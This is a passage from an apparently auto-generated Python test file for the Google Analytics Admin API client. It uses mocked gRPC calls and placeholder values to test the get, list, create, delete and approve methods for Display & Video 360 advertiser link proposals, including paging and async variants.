type(client.transport.get_display_video360_advertiser_link_proposal), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLinkProposal()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLinkProposal()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_display_video360_advertiser_link_proposal(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_display_video360_advertiser_link_proposal_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_display_video360_advertiser_link_proposal(
analytics_admin.GetDisplayVideo360AdvertiserLinkProposalRequest(),
name="name_value",
)
def test_list_display_video360_advertiser_link_proposals(
transport: str = "grpc",
request_type=analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_link_proposals),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
next_page_token="next_page_token_value",
)
response = client.list_display_video360_advertiser_link_proposals(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsRequest()
)
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListDisplayVideo360AdvertiserLinkProposalsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_display_video360_advertiser_link_proposals_from_dict():
test_list_display_video360_advertiser_link_proposals(request_type=dict)
def test_list_display_video360_advertiser_link_proposals_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_link_proposals),
"__call__",
) as call:
client.list_display_video360_advertiser_link_proposals()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsRequest()
)
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_link_proposals_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_link_proposals),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_display_video360_advertiser_link_proposals(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsRequest()
)
# Establish that the response is the type that we expect.
assert isinstance(
response, pagers.ListDisplayVideo360AdvertiserLinkProposalsAsyncPager
)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_link_proposals_async_from_dict():
await test_list_display_video360_advertiser_link_proposals_async(request_type=dict)
def test_list_display_video360_advertiser_link_proposals_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_link_proposals),
"__call__",
) as call:
call.return_value = (
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse()
)
client.list_display_video360_advertiser_link_proposals(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_link_proposals_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_link_proposals),
"__call__",
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse()
)
await client.list_display_video360_advertiser_link_proposals(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_display_video360_advertiser_link_proposals_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_link_proposals),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = (
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_display_video360_advertiser_link_proposals(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
def test_list_display_video360_advertiser_link_proposals_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_display_video360_advertiser_link_proposals(
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsRequest(),
parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_link_proposals_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_link_proposals),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = (
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse()
)
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_display_video360_advertiser_link_proposals(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_link_proposals_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_display_video360_advertiser_link_proposals(
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsRequest(),
parent="parent_value",
)
def test_list_display_video360_advertiser_link_proposals_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_link_proposals),
"__call__",
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[
resources.DisplayVideo360AdvertiserLinkProposal(),
resources.DisplayVideo360AdvertiserLinkProposal(),
resources.DisplayVideo360AdvertiserLinkProposal(),
],
next_page_token="abc",
),
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[], next_page_token="def",
),
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[
resources.DisplayVideo360AdvertiserLinkProposal(),
],
next_page_token="ghi",
),
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[
resources.DisplayVideo360AdvertiserLinkProposal(),
resources.DisplayVideo360AdvertiserLinkProposal(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_display_video360_advertiser_link_proposals(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(
isinstance(i, resources.DisplayVideo360AdvertiserLinkProposal)
for i in results
)
def test_list_display_video360_advertiser_link_proposals_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_link_proposals),
"__call__",
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[
resources.DisplayVideo360AdvertiserLinkProposal(),
resources.DisplayVideo360AdvertiserLinkProposal(),
resources.DisplayVideo360AdvertiserLinkProposal(),
],
next_page_token="abc",
),
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[], next_page_token="def",
),
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[
resources.DisplayVideo360AdvertiserLinkProposal(),
],
next_page_token="ghi",
),
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[
resources.DisplayVideo360AdvertiserLinkProposal(),
resources.DisplayVideo360AdvertiserLinkProposal(),
],
),
RuntimeError,
)
pages = list(
client.list_display_video360_advertiser_link_proposals(request={}).pages
)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_link_proposals_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_link_proposals),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[
resources.DisplayVideo360AdvertiserLinkProposal(),
resources.DisplayVideo360AdvertiserLinkProposal(),
resources.DisplayVideo360AdvertiserLinkProposal(),
],
next_page_token="abc",
),
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[], next_page_token="def",
),
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[
resources.DisplayVideo360AdvertiserLinkProposal(),
],
next_page_token="ghi",
),
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[
resources.DisplayVideo360AdvertiserLinkProposal(),
resources.DisplayVideo360AdvertiserLinkProposal(),
],
),
RuntimeError,
)
async_pager = await client.list_display_video360_advertiser_link_proposals(
request={},
)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(
isinstance(i, resources.DisplayVideo360AdvertiserLinkProposal)
for i in responses
)
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_link_proposals_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_link_proposals),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[
resources.DisplayVideo360AdvertiserLinkProposal(),
resources.DisplayVideo360AdvertiserLinkProposal(),
resources.DisplayVideo360AdvertiserLinkProposal(),
],
next_page_token="abc",
),
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[], next_page_token="def",
),
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[
resources.DisplayVideo360AdvertiserLinkProposal(),
],
next_page_token="ghi",
),
analytics_admin.ListDisplayVideo360AdvertiserLinkProposalsResponse(
display_video_360_advertiser_link_proposals=[
resources.DisplayVideo360AdvertiserLinkProposal(),
resources.DisplayVideo360AdvertiserLinkProposal(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_display_video360_advertiser_link_proposals(request={})
).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_create_display_video360_advertiser_link_proposal(
transport: str = "grpc",
request_type=analytics_admin.CreateDisplayVideo360AdvertiserLinkProposalRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link_proposal),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLinkProposal(
name="name_value",
advertiser_id="advertiser_id_value",
advertiser_display_name="advertiser_display_name_value",
validation_email="validation_email_value",
)
response = client.create_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.CreateDisplayVideo360AdvertiserLinkProposalRequest()
)
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DisplayVideo360AdvertiserLinkProposal)
assert response.name == "name_value"
assert response.advertiser_id == "advertiser_id_value"
assert response.advertiser_display_name == "advertiser_display_name_value"
assert response.validation_email == "validation_email_value"
def test_create_display_video360_advertiser_link_proposal_from_dict():
test_create_display_video360_advertiser_link_proposal(request_type=dict)
def test_create_display_video360_advertiser_link_proposal_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link_proposal),
"__call__",
) as call:
client.create_display_video360_advertiser_link_proposal()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.CreateDisplayVideo360AdvertiserLinkProposalRequest()
)
@pytest.mark.asyncio
async def test_create_display_video360_advertiser_link_proposal_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.CreateDisplayVideo360AdvertiserLinkProposalRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link_proposal),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLinkProposal(
name="name_value",
advertiser_id="advertiser_id_value",
advertiser_display_name="advertiser_display_name_value",
validation_email="validation_email_value",
)
)
response = await client.create_display_video360_advertiser_link_proposal(
request
)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.CreateDisplayVideo360AdvertiserLinkProposalRequest()
)
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DisplayVideo360AdvertiserLinkProposal)
assert response.name == "name_value"
assert response.advertiser_id == "advertiser_id_value"
assert response.advertiser_display_name == "advertiser_display_name_value"
assert response.validation_email == "validation_email_value"
@pytest.mark.asyncio
async def test_create_display_video360_advertiser_link_proposal_async_from_dict():
await test_create_display_video360_advertiser_link_proposal_async(request_type=dict)
def test_create_display_video360_advertiser_link_proposal_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateDisplayVideo360AdvertiserLinkProposalRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link_proposal),
"__call__",
) as call:
call.return_value = resources.DisplayVideo360AdvertiserLinkProposal()
client.create_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_display_video360_advertiser_link_proposal_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateDisplayVideo360AdvertiserLinkProposalRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link_proposal),
"__call__",
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLinkProposal()
)
await client.create_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_display_video360_advertiser_link_proposal_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link_proposal),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLinkProposal()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_display_video360_advertiser_link_proposal(
parent="parent_value",
display_video_360_advertiser_link_proposal=resources.DisplayVideo360AdvertiserLinkProposal(
name="name_value"
),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[
0
].display_video_360_advertiser_link_proposal == resources.DisplayVideo360AdvertiserLinkProposal(
name="name_value"
)
def test_create_display_video360_advertiser_link_proposal_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_display_video360_advertiser_link_proposal(
analytics_admin.CreateDisplayVideo360AdvertiserLinkProposalRequest(),
parent="parent_value",
display_video_360_advertiser_link_proposal=resources.DisplayVideo360AdvertiserLinkProposal(
name="name_value"
),
)
@pytest.mark.asyncio
async def test_create_display_video360_advertiser_link_proposal_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link_proposal),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLinkProposal()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLinkProposal()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_display_video360_advertiser_link_proposal(
parent="parent_value",
display_video_360_advertiser_link_proposal=resources.DisplayVideo360AdvertiserLinkProposal(
name="name_value"
),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[
0
].display_video_360_advertiser_link_proposal == resources.DisplayVideo360AdvertiserLinkProposal(
name="name_value"
)
@pytest.mark.asyncio
async def test_create_display_video360_advertiser_link_proposal_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_display_video360_advertiser_link_proposal(
analytics_admin.CreateDisplayVideo360AdvertiserLinkProposalRequest(),
parent="parent_value",
display_video_360_advertiser_link_proposal=resources.DisplayVideo360AdvertiserLinkProposal(
name="name_value"
),
)
def test_delete_display_video360_advertiser_link_proposal(
transport: str = "grpc",
request_type=analytics_admin.DeleteDisplayVideo360AdvertiserLinkProposalRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link_proposal),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.DeleteDisplayVideo360AdvertiserLinkProposalRequest()
)
# Establish that the response is the type that we expect.
assert response is None
def test_delete_display_video360_advertiser_link_proposal_from_dict():
test_delete_display_video360_advertiser_link_proposal(request_type=dict)
def test_delete_display_video360_advertiser_link_proposal_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link_proposal),
"__call__",
) as call:
client.delete_display_video360_advertiser_link_proposal()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.DeleteDisplayVideo360AdvertiserLinkProposalRequest()
)
@pytest.mark.asyncio
async def test_delete_display_video360_advertiser_link_proposal_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.DeleteDisplayVideo360AdvertiserLinkProposalRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link_proposal),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.delete_display_video360_advertiser_link_proposal(
request
)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.DeleteDisplayVideo360AdvertiserLinkProposalRequest()
)
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_delete_display_video360_advertiser_link_proposal_async_from_dict():
await test_delete_display_video360_advertiser_link_proposal_async(request_type=dict)
def test_delete_display_video360_advertiser_link_proposal_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteDisplayVideo360AdvertiserLinkProposalRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link_proposal),
"__call__",
) as call:
call.return_value = None
client.delete_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_display_video360_advertiser_link_proposal_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteDisplayVideo360AdvertiserLinkProposalRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link_proposal),
"__call__",
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_display_video360_advertiser_link_proposal_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link_proposal),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_display_video360_advertiser_link_proposal(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_delete_display_video360_advertiser_link_proposal_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_display_video360_advertiser_link_proposal(
analytics_admin.DeleteDisplayVideo360AdvertiserLinkProposalRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_delete_display_video360_advertiser_link_proposal_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link_proposal),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_display_video360_advertiser_link_proposal(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_delete_display_video360_advertiser_link_proposal_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_display_video360_advertiser_link_proposal(
analytics_admin.DeleteDisplayVideo360AdvertiserLinkProposalRequest(),
name="name_value",
)
def test_approve_display_video360_advertiser_link_proposal(
transport: str = "grpc",
request_type=analytics_admin.ApproveDisplayVideo360AdvertiserLinkProposalRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.approve_display_video360_advertiser_link_proposal),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = (
analytics_admin.ApproveDisplayVideo360AdvertiserLinkProposalResponse()
)
response = client.approve_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.ApproveDisplayVideo360AdvertiserLinkProposalRequest()
)
# Establish that the response is the type that we expect.
assert isinstance(
response, analytics_admin.ApproveDisplayVideo360AdvertiserLinkProposalResponse
)
def test_approve_display_video360_advertiser_link_proposal_from_dict():
test_approve_display_video360_advertiser_link_proposal(request_type=dict)
def test_approve_display_video360_advertiser_link_proposal_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.approve_display_video360_advertiser_link_proposal),
"__call__",
) as call:
client.approve_display_video360_advertiser_link_proposal()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.ApproveDisplayVideo360AdvertiserLinkProposalRequest()
)
@pytest.mark.asyncio
async def test_approve_display_video360_advertiser_link_proposal_async(
